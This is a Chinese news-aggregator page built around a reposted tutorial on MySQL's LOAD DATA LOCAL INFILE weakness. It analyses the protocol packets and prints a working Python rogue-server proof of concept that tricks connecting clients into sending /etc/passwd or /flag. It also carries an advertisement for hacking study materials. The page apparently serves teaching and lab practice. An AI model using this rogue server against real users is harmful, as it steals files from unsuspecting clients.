最新要闻
- 每日聚焦:为节约开支 英国打算用驳船“装”移民
- 每日看点!首搭长城Hi4电四驱 哈弗枭龙MAX官图发布:博主直言价格合理必卖爆
- 大疆Mavic 3 Pro无人机曝光:升级三枚摄镜头 奔着2万元去了
- 上百人进山挖黄金引网友围观!官方回应:挖的是昆虫 被称“土黄金”
- 世界即时看!马斯克74岁超模妈妈参观特斯拉上海超级工厂:夸赞制造完美、质量过硬
- 革命性全彩电子纸问世:媲美最先进纸质印刷品 明年量产上市
- 环球报道:不管车贵不贵,十万里程后,此3种零件该换就换,别省钱关乎生命
- 为蹭车位男子当街换车牌被罚5000:驾照十二分也没了
- 当前热文:苹果服务器再出故障:iCloud、iMessage崩了
- 世界今头条!曾传乐视靠《甄嬛传》活着 乐视将推85英寸甄嬛传限量电视
- 当前快播:徕卡超大杯首次进军海外!小米13 Ultra将全球上市
- 焦点速递!89元 小米米家电动牙刷T200C发布:Type-C充电 续航25天
- 焦点速讯:黑夜传说演员表_传说演员表
- 全球新动态:比尔·盖茨反击马斯克:暂停AI的发展并不能解决问题
- 每日报道:比亚迪海龙等4款超跑概念图亮相!你觉得哪款最帅?
- 环球讯息:长城汽车:一位新能源砖家 利润高可能是因为新能源卖的差
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
报道:Mysql LOAD DATA读取客户端任意文件
前言
MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果,也没什么可以利用的。但是 MySQL 有个语法LOAD DATA INFILE可以用来读取一个文件的内容并插入到表中。
(资料图片)
从上图的官方文档说明可以看到,该命令既可以读取服务端的文件,也可以读取客户端的文件,这取决于LOCAL
modifier 是否给定。
读取服务端上的文件内容存入表中的 SQL 语句是:
load data infile "/etc/passwd" into table TestTable fields terminated by "分隔符";
读取客户端上的文件内容存入表中的 SQL 语句是:
load data local infile "/etc/passwd" into table TestTable fields terminated by "分隔符";
两相对比,读取客户端上的文件内容多了一个local
关键字。
以上所描述的过程可以形象地用两个人的对话来表示:
客户端:把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务端:请把你本地 /data/test.csv 的内容发送给我
客户端:好的,这是我本地 /data/test.cvs 的内容
服务端:成功/失败
正常情况下这个流程没有问题,但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:
客户端:请把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务器:请把你本地 /etc/passwd 的内容发送给我
客户端:好的,这是我本地 /etc/passwd 的内容
服务端:成功偷取文件内容
这样服务端就非法拿到了/etc/passwd
的文件内容!接下来开始进行这个实验,做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC,必须对 MySQL 协议有足够的了解,所以接下来尝试分析一下 MySQL 协议的数据包。
MySQL 协议数据包分析
为了非法读取客户端文件,我们需要实现一个假的 MySQL 服务器。那如何实现呢?这需要我们对 MySQL 协议展开详细的分析才能做到,好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。
我以 ubuntu 虚拟机为客户端,windows物理机为服务端,借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。
客户端ip:192.168.239.129
服务端ip:192.168.1.3
客户端和服务端之间交互的 MySQL命令如下
mysql -h 192.168.1.3 -P 3306 -u root -puse security;load data local infile "/etc/passwd" into table users;
开启物理机的 mysql,这里注意需要设置 mysql 允许外来连接,不知道如何操作看看这篇文章
设置 MySQL 允许外部访问
2.打开 wireshark,选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议,然后用虚拟机连接。
注意:不要使用 mysql 8.0.12 版本,否则相关的数据包显示不完整,甚至连接的用户名都显示不了,这个版本的加密可能更严格吧。
官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。MYSQL_TLS
那我们捕获的数据包是否进行了加密呢?稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证!
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
连接过程数据包
运行连接命令时捕获到的数据包
mysql -h 192.168.1.3 -P 3306 -u root -p
不打算全部都细说,就以前两个数据包为例子,和官方文档对照来学习其结构。
- 第一个数据包 Protocol::HandshakeV10 服务端到客户端
当客户端通过 MySQL 协议连接到 服务端会发生什么呢?官方文档Protocol::Handshake告诉我们当客户端连接到服务端时,服务端会发送一个初始的握手数据包(Initial Handshake Packet)给客户端。根据服务端的版本和配置选项,服务端会发送不同的初始数据包。
为了服务端可以支持新的协议,Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始,发送的是Protocol::HandshakeV10
我采用的 MySQL 版本是 5.7.26,所以发送的就是Protocol::HandShakeV10
,我们可以看看文档是如何定义这个数据包的结构的:
关于Type
字段各个值的含义在Integer Types和String Types
int<1>
就是 一个字节,string
表示以 00 字节结尾的字符串。
我们点开 Wireshark 中服务端给客户端发送的初始数据包,从Server Greeting
字段开始就是 payload 部分,也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了?
Protocol::HandShakeV10 只定义了一个数据包的 payload 部分,而关于头部的定义在MySQL Packets
和实际的数据包的对应:
payload_length:
sequence_id:
payload:
值得注意的是 Wireshark 的数据是按照小端排列的,比如数据包长度 74 对应的字段数据是4a 00 00
。
其余的字段就不再分析了,大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们,如果客户端支持 SSL(Capabilities Flags& CLIENT_SSL is on and themysql_ssl_modeof the client is not SSL_MODE_DISABLED) ,那么一个短的被称为Protocol::SSLRequest:的数据包会被发送,使得服务端建立一个 SSL layer 并等待来自客户端的下一个数据包。(这里你可能会感到混乱,前面不是说 TLS 吗,怎么现在变成了 SSL?其实 TLS 是升级版的 SSL,但是由于 SSL 这一术语更加常用,所以人们经常互换使用者两个术语。什么是 SSL、TLS、HTTPS)
如果不支持,那么客户端会返回Protocol::HandshakeResponse:。同时在任何时候,发生任何错误,客户端都会断开连接。
- 第二个数据包 Protocol::HandshakeResponse41 客户端到服务端
根据前面的分析,这里客户端如果支持 SSL,那么会发送Protocol::SSLRequest
数据包,否则就是Protocol::HandshakeResponse:
。根据我的验证,应该发送的是Protocol::HandshakeResponse41
感觉挺奇怪的,我觉得应该发送 SSLRequest 才是,但是其包结构却又对应不上。
client_flag(4字节),包括了扩展的 Client capabilities
max_packet_size(4字节)
0x01000000 = 16777216
character_set(1字节)
filler(23字节)
username(以 00 结尾的字符串)
auth_response
文档中说这是一个条件选项,当前的数据包是满足这个条件的。
根据文档对这个字段的释义,其是一个不透明的验证响应。没想到在实际数据包中是一个密码,经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法,
接下来就不继续分析,大同小异。
这个数据包的重点在于能够表明客户端是否支持LOAD DATA LOCAL
,这是我们可以读取客户端本地文件的根本。关于这个字段的定义在:CLIENT_LOCAL_FILES
- 第三个数据包 Ok_Packet 服务端到客户端
这个数据包一看就是Ok_Packet
- 第四个数据包 COM_QUERY 客户端到服务端
这个数据包是COM_QUERY
- 第五个数据包 Text Resultset 服务端到客户端
这个数据包是Text Resultset
选择 security 数据库捕获的数据包
当客户端向服务端发送use security
命令选择数据库时捕获到的数据包。特别多,下图并没有截完整。这一步不重要
读取客户端文件捕获的数据包
在客户端上执行如下命令将/etc/passwd
文件内容写入到 users 表时捕获到的数据包。
load data local infile "/etc/passwd" into table users;
一共就四个包,很明显第一个包是一个COM_QUERY
这个图我不小心去读服务端的文件了,但是无伤大雅。数据包结构是一样的,而且下图我重抓啦~
糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。
我在这里找到了解决方案
stackoverflow
连接的时候用
mysql --local-infile=1 -u root -p -h 192.168.1.3
重新抓一遍包!!
- 第一个数据包 客户端到服务端 COM_QUERY
- 第二个数据包 服务端到客户端LOCAL INFILE Request
这个数据包很重要,是构造恶意 MySQL 服务器的重点,我们需要根据这个数据包的结构书写 payload。具体地说,需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗?
对照一下上图就会发现这个 MySQL 协议数据包的头部是
0c 00 00 01
对应的 payload(不是 wireshark 的那个 Payload) 是
fb 2f 65 74 63 2f 70 61 73 73 77 64
- 第三个数据包 客户端到服务端COM_QUERY
上一个数据包服务端给客户端发送LOAL INFILE Request
的响应后,客户端发给服务端的这一个数据就包含了/etc/passwd
文件的内容。
- 第四个数据包 服务端到客户端Ok_Packet
客户端经过两个请求,成功的将自己的/etc/passwd
文件插入到表 users 中,
根据我们前面所说,客户端在发送完第一个请求之后并不会存储这个请求,而是直接丢弃。所以第二步是根据服务端的响应来进行,这里服务器就可以欺骗客户端做一些事情(改变第二个数据包的响应内容)。有了以上的铺垫,POC 的编写并不困难。只需要完成连接过程,然后修改第二个数据包的响应内容就好。
POC
我懒得完整编写 POC 了,所以从网上抄了一个。值得一提的是这个 POC 并不标准,在连接建立过程中发送的数据并没有包含数据包首部,而发送 payload 的时候又包含了首部。(同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh,当然也有可能是我错了)
客户端发送请求数据包
服务端发送 Mysql 的 Greet 与 banner 信息
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的
获取到文件信息直接输出
#!/usr/bin/python#coding: utf8import socket# linux :#filestring = "/etc/passwd"# windows:#filestring = "C:\Windows\system32\drivers\etc\hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3306BUFFER_SIZE = 1024#1 Greetinggreeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"#2 Accept all authenticationsauthok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"#3 Payload#数据包长度payloadlen = "\x0c" #这里明显有问题啦,因为文档告诉我们数据包的长度是用三个字节表示的padding = "\x00\x00"payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((HOST, PORT))s.listen(1)while True: conn, addr = s.accept() print "Connection from:", addr conn.send(greeting) while True: data = conn.recv(BUFFER_SIZE) print " ".join("%02x" % ord(i) for i in data) conn.send(authok) data = conn.recv(BUFFER_SIZE) conn.send(payload) print "[*] Payload send!" data = conn.recv(BUFFER_SIZE) if not data: break print "Data received:", data break # Don"t leave the connection open. conn.close()
在服务器运行以上脚本,并在客户端连接
收到/etc/passwd
文件内容
读取 /flag
如果想要读取/flag
如何修改 payload 呢?这是一个很简单的问题,因为已知了这是一个LOCAL INFILE Request数据包,所以只需要构造一下数据包首部和 payload 部分即可(保持 POC 中其余字段不变)。
首部包括三个字节长的长度字段,一个字节长的序列号。
payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名
现在真正的数据部分是/flag
,转换成十六进制为2f666c6167
,其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分:fb 2f 66 6c 61 67
,故首部中的长度字段值为 0x06。
更多靶场实验练习、网安学习资料,请点击这里>>
关键词:
报道:Mysql LOAD DATA读取客户端任意文件
python中动态导入文件的方法
小程序容器助力企业小程序开放平台打造
每日动态!记录一次小程序中讨厌的拍照上传的优化
世界热讯:开心档之C++ 多态
每日聚焦:为节约开支 英国打算用驳船“装”移民
每日看点!首搭长城Hi4电四驱 哈弗枭龙MAX官图发布:博主直言价格合理必卖爆
大疆Mavic 3 Pro无人机曝光:升级三枚摄镜头 奔着2万元去了
上百人进山挖黄金引网友围观!官方回应:挖的是昆虫 被称“土黄金”
世界即时看!马斯克74岁超模妈妈参观特斯拉上海超级工厂:夸赞制造完美、质量过硬
革命性全彩电子纸问世:媲美最先进纸质印刷品 明年量产上市
即时:图解 SQL 执行顺序,通俗易懂!
网上说低代码的一大堆,JNPF凭什么可以火?
环球报道:不管车贵不贵,十万里程后,此3种零件该换就换,别省钱关乎生命
为蹭车位男子当街换车牌被罚5000:驾照十二分也没了
当前热文:苹果服务器再出故障:iCloud、iMessage崩了
世界今头条!曾传乐视靠《甄嬛传》活着 乐视将推85英寸甄嬛传限量电视
当前快播:徕卡超大杯首次进军海外!小米13 Ultra将全球上市
焦点速递!89元 小米米家电动牙刷T200C发布:Type-C充电 续航25天
当前热文:W1R3S
天天热讯:数位dp
今日看点:kill 进程时遇到的一件有意思的事情
焦点速讯:黑夜传说演员表_传说演员表
全球新动态:比尔·盖茨反击马斯克:暂停AI的发展并不能解决问题
每日报道:比亚迪海龙等4款超跑概念图亮相!你觉得哪款最帅?
环球讯息:长城汽车:一位新能源砖家 利润高可能是因为新能源卖的差
狠人!印度一男子爬火车摸25000伏高压电 瞬间成火球吓坏网友
重点聚焦!104MB缓对锐龙7 7800X3D核显无用:鸡血提升不存在
全球热资讯!SpringBoot中如何编写一个优雅的限流组件?
环球今热点:一文快速了解火山引擎 A/B 测试平台
小程序对接三方插件契约锁
【全球新视野】真的有那么好?试完深蓝SL03我明白了
诺基亚E72i手机什么时候上市的?诺基亚E72i手机参数
摩尔庄园怎么获得桑叶?摩尔庄园怎么收获农作物?
龙之谷白屏是怎么回事?龙之谷白屏怎么解决?
天天观点:四年创收20亿美元!微软XGP PC用户突破1500万
大神出手!安卓14/骁龙8 Gen2双双被破解:一键ROOT
南非一客机驾驶舱惊现剧毒眼镜蛇往人身上爬 飞行员神勇应对:平安降落
闲鱼曝光率突然下降怎么办?闲鱼曝光率怎么提高?
闲鱼对方被处置能回复消息吗?闲鱼对方被处置能正常发货吗?
全球热文:某公司技术经理媚上欺下,打工人应怼尽怼,嘤其鸣兮,求其友声!
焦点讯息:用上这几种.NET EF Core性能调优,查询性能飙升
全球今日讯!石家庄:医师资格考试报名材料即将发放
天天观热点:老司机不刹车?特斯拉潮州事故车主不服鉴定 车顶维权女车主:厂商应公开完整数据
世界聚焦:为救高烧幼童 高铁破例停车2分钟
【独家】你敢体验吗?菲律宾推出网红蟒蛇按摩服务:40元享受30分钟
AI抢饭碗成真!近500家企业用ChatGPT取代员工:有公司省超10万美元
世界头条:苏炳添回应手机从小米换成苹果:合约已到期 旧手机摔坏了
【世界快播报】K8S学习圣经6:资源控制+SpringCloud动态扩容原理和实操
环球热议:顶象受邀加入“数字政府网络安全产业联盟”
Blender插件:Muscle System
天天短讯!两单REIT业绩说明会首次在上海证券交易所成功举办
世界热消息:招商银行信用卡网银(中国邮政储蓄余额查询)
焦点精选!什么情况?马自达要给CX-50征集中文名:越境、行也、俊驰、览乐你投谁
全球即时看!工资六千的岗位面试了6轮!女生发视频吐槽
世界观点:TikTok回应英国政府巨额罚款:乐见罚款大幅度降低
李国庆称羡慕周鸿祎离婚:没争夺控制权 你就乐吧
嫦娥五号采集月壤立功:中国科学家刷新月球死亡时间
环球资讯:EasyMR 安全架构揭秘:如何管理 Hadoop 数据安全
小程序容器助力组装移动银行超级APP
【环球报资讯】GPS北斗卫星时钟服务器在飞机场内网中的应用
和讯个股快报:2023年04月06日 紫天科技(300280),该股K线呈现“乌云盖顶”形态
头条:24小时长效锁水 妮维雅男士精华露39.9元狂促:送洁面乳50gx2
车市“价格战”开打一月:新车销量未回暖 二手准新车被坑惨
速递!杨元庆:联想过去三年营收增长1100亿 PC业务还是第一
焦点快报!游客开车陷进沙滩:拖车开口要价5千 待会涨潮至少要5万
环球动态:最快6月2日早就能玩到!《暗黑4》全球解锁时间公开
世界视点!清明时节祭祖扫墓 “小三通”客运航线往来忙碌
每日短讯:全网最详细中英文ChatGPT-GPT-4示例文档-会议笔记文档智能转摘要从0到1快速入门——官网推荐的48种最佳应用场景(附python/node.
世界即时:Linux在游戏界的口碑树立
前端设计模式——MVC模式
福岛核电站1号机组底座受损严重!日本民众集会反对核污水排海
环球新消息丨特斯拉发布“宏图计划3”完整文件 10万亿美元改变地球
形似“摄魂怪” 澳大利亚悉尼惊现破片云:颜色漆黑、预示狂风暴雨
全球今热点:Redmi Note 12 Turbo好评率99%!卢伟冰:得到极大认可 把竞品甩在后面
快看点丨划时代产品!特斯拉新款小型电动汽车公布 目标销量4200万辆
世界速读:我2022年8月18月去医院做牙齿矫正,但是我只交了定金,后续也没拿到牙套
SpringBoot如何进行限流,老鸟们还可以这样玩!
环球微资讯!Podman Compose 新手指南
环球今热点:美国ADP就业数据不及预期 暗示劳动力需求降温
焦点快报!深赛格:融资净买入132.4万元,融资余额1.03亿元(04-04)
天天报道:中国为何未研制出ChatGPT?中科院包云岗:需要优秀技术团队、雄厚资金
苏炳添用iPhone 14引热议 本人回应:与小米合约到期 手机摔坏才换
大妈捡手机要好处费2包烟见面变500元被吐槽:你捡到会痛快归还吗?
焦点速读:NV不愁卖!2023年PC游戏硬件市场继续萎缩:AMD、Intel显卡要打对折卖
每日资讯:沪广深去年公积金个贷降两成 今年超60地优化公积金政策
天天速递!科技伦理审查提速 AI“变坏”设防
天天最资讯丨核污水将倒入大海 降低水产品辐射分析精度!日本1.8亿粒扇贝不明原因死亡
世界快看:64位才是王道!《英雄联盟》13.7版本今日更新:32位Win系统续一条命
汽车仪表盘显示感叹号加个圆圈_汽车仪表盘显示感叹号
【天天报资讯】读SQL进阶教程笔记10_HAVING下
Python 开发环境安装
世界热文:海盗船192GB DDR5内存套装开卖:带上“光污染” 7699元!
天天百事通!研究了2600多篇爆仓文学后 我好像搞懂人是怎么变赌狗的了
天天看点:无数人的童年回忆:重制后把我裤子都感动湿了
标准版也要有高刷了!iPhone全系列或于2025年引入LTPO技术
【环球时快讯】穿越之汉武帝
世界微速讯:彻底崩了!AI遭全球“围剿” A股咋应对?超9000人联名“封杀” 巴菲特又要“抄底”?
【打怪升级】【jvm】关于jvm内存模型及GC调优
【当前热闻】房东称闰二月要多交1个月房租 网友:这是住在月亮上吗?